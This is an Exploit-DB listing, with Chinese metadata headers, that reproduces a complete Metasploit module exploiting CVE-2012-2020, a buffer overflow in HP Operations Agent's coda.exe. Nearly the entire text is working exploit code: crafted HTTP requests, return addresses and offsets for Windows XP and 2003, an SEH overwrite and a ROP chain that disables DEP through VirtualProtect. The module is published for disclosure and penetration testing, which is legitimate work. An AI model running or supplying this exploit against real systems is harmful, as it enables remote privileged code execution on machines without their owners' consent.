标题: HP Operations Agent - Opcode 'coda.exe' 0x8c Buffer Overflow (Metasploit) EDB-ID: 22305 CVE: 2012-2020 类型: REMOTE 平台: WINDOWS 发布日期: 2012-10-29 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Seh

 def initialize
  super(
   'Name'        => 'HP Operations Agent Opcode coda.exe 0x8c Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow vulnerability in HP Operations Agent for
    Windows. The vulnerability exists in the HP Software Performance Core Program
    component (coda.exe) when parsing requests for the 0x8c opcode. This module has
    been tested successfully on HP Operations Agent 11.00 over Windows XP SP3 and
    Windows 2003 SP2 (DEP bypass).

    The coda.exe components runs only for localhost by default, network access must be
    granted through its configuration to be remotely exploitable. On the other hand it
    runs on a random TCP port, to make easier reconnaissance a check function is
    provided.
   },
   'Author'      => [
    'Luigi Auriemma', # Vulnerability discovery
    'juan vazquez' # Metasploit module
   ],
   'Platform'    => 'win',
   'References'  =>
    [
     [ 'CVE', '2012-2020' ],
     [ 'OSVDB', '83674' ],
     [ 'BID', '54362' ],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-115/' ]
    ],
   'Payload'        =>
    {
     'Space'          => 1024,
     'BadChars'       => "",
     'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment # add esp, -3500
     'DisableNops'    => true
    },
   'Targets'     =>
    [
     [ 'HP Operations Agent 11.00 / Windows XP SP3',
      {
       'Ret'    => 0x100e79eb, # ppr from OvSecCore.dll
       'Offset' => 2084
      }
     ],
     [ 'HP Operations Agent 11.00 / Windows 2003 SP2',
      {
       'Ret'       => 0x10073c2c, # stackpivot # ADD ESP,404 # RETN from OvSecCore.dll
       'Offset'    => 2084,
       'RopOffset' => 36
      }
     ]
    ],
   'DefaultTarget'  => 1,
   'Privileged'     => true,
   'DisclosureDate' => 'Jul 09 2012'
  )

 end

 def junk(n=4)
  return rand_text_alpha(n).unpack("V")[0].to_i
 end

 def nop
  return make_nops(4).unpack("V")[0].to_i
 end

 def check

  res = ping

  if not res
   return Exploit::CheckCode::Unknown
  end

  if res !~ /HTTP\/1\.1 200 OK/
   return Exploit::CheckCode::Unknown
  end

  if res =~ /server:.*coda 11.(\d+)/
   minor = $1.to_i
   if minor < 2
    return Exploit::CheckCode::Vulnerable
   else
    return Exploit::CheckCode::Safe
   end
  end

  if res =~ /server:.*coda/
   return Exploit::CheckCode::Detected
  end

  return Exploit::CheckCode::Safe

 end

 def ping

  ping_request = <<-eos
Ping /Hewlett-Packard/OpenView/BBC/ping/ HTTP/1.1
cache-control: no-cache
connection: close
content-length: 0
content-type: application/octetstream
host: #{rhost}:#{rport}
pragma: no-cache
targetid: unknown
targeturi: http://#{rhost}:#{rport}/Hewlett-Packard/OpenView/BBC/ping/
user-agent: BBC 11.00.044; coda unknown version

  eos

  connect
  sock.put(ping_request)
  res = sock.get_once(-1, 1)
  disconnect

  return res

 end

 def exploit

  peer = "#{rhost}:#{rport}"

  print_status "#{peer} - Ping host..."
  res = ping
  if not res or res !~ /HTTP\/1\.1 200 OK/ or res !~ /server:.*coda/
   print_error("#{peer} - Host didn't answer correctly to ping")
   return
  end

  connect

  http_headers = <<-eos
GET /Hewlett-Packard/OpenView/Coda/ HTTP/1.1
cache-control: no-cache
content-type: application/octetstream
expect: 100-continue
host: #{rhost}:#{rport}
pragma: no-cache
targetid: unknown
targeturi: http://[#{rhost}]:#{rport}/Hewlett-Packard/OpenView/Coda/
transfer-encoding: chunked
user-agent: BBC 11.00.044;  14

  eos

  print_status("#{peer} - Sending HTTP Expect...")
  sock.put(http_headers)
  res = sock.get_once(-1, 1)
  if not res or res !~ /HTTP\/1\.1 100 Continue/
   print_error("#{peer} - Failed while sending HTTP Expect Header")
   return
  end

  coda_request = [
   0x0000000e,
   0xffffffff,
   0x00000000,
   0x0000008c, # Operation 0x8c
   0x00000002,
   0x00000002
  ].pack("N*")

  if target.name =~ /Windows XP/
   bof = rand_text(target['Offset'])
   bof << generate_seh_record(target.ret)
   bof << payload.encoded
   bof << rand_text(4000) # Allows to trigger exception
  else # Windows 2003
   rop_gadgets =
    [
     0x77bb2563, # POP EAX # RETN
     0x77ba1114, # <- *&VirtualProtect()
     0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
     junk,
     0x77bb0c86, # XCHG EAX,ESI # RETN
     0x77bc9801, # POP EBP # RETN
     0x77be2265, # ptr to 'push esp #  ret'
     0x77bb2563, # POP EAX # RETN
     0x03C0990F,
     0x77bdd441, # SUB EAX, 03c0940f  (dwSize, 0x500 -> ebx)
     0x77bb48d3, # POP EBX, RET
     0x77bf21e0, # .data
     0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
     0x77bbfc02, # POP ECX # RETN
     0x77bef001, # W pointer (lpOldProtect) (-> ecx)
     0x77bd8c04, # POP EDI # RETN
     0x77bd8c05, # ROP NOP (-> edi)
     0x77bb2563, # POP EAX # RETN
     0x03c0984f,
     0x77bdd441, # SUB EAX, 03c0940f
     0x77bb8285, # XCHG EAX,EDX # RETN
     0x77bb2563, # POP EAX # RETN
     nop,
     0x77be6591, # PUSHAD # ADD AL,0EF # RETN
    ].pack("V*")
   bof = Rex::Text.pattern_create(target['RopOffset'])
   bof << rop_gadgets
   bof << payload.encoded
   my_payload_length =  target['RopOffset'] + rop_gadgets.length + payload.encoded.length
   bof << rand_text(target['Offset'] - my_payload_length)
   bof << generate_seh_record(target.ret)
   bof << rand_text(4000) # Allows to trigger exception
  end

  coda_request << [bof.length].pack("n")
  coda_request << bof

  http_body = coda_request.length.to_s(16)
  http_body << "\x0d\x0a"
  http_body << coda_request
  http_body << "\x0d\x0a\x0d\x0a"

  print_status("#{peer} - Triggering overflow...")
  sock.put(http_body)

  disconnect
 end

end URL: https://www.exploit-db.com/exploits/22305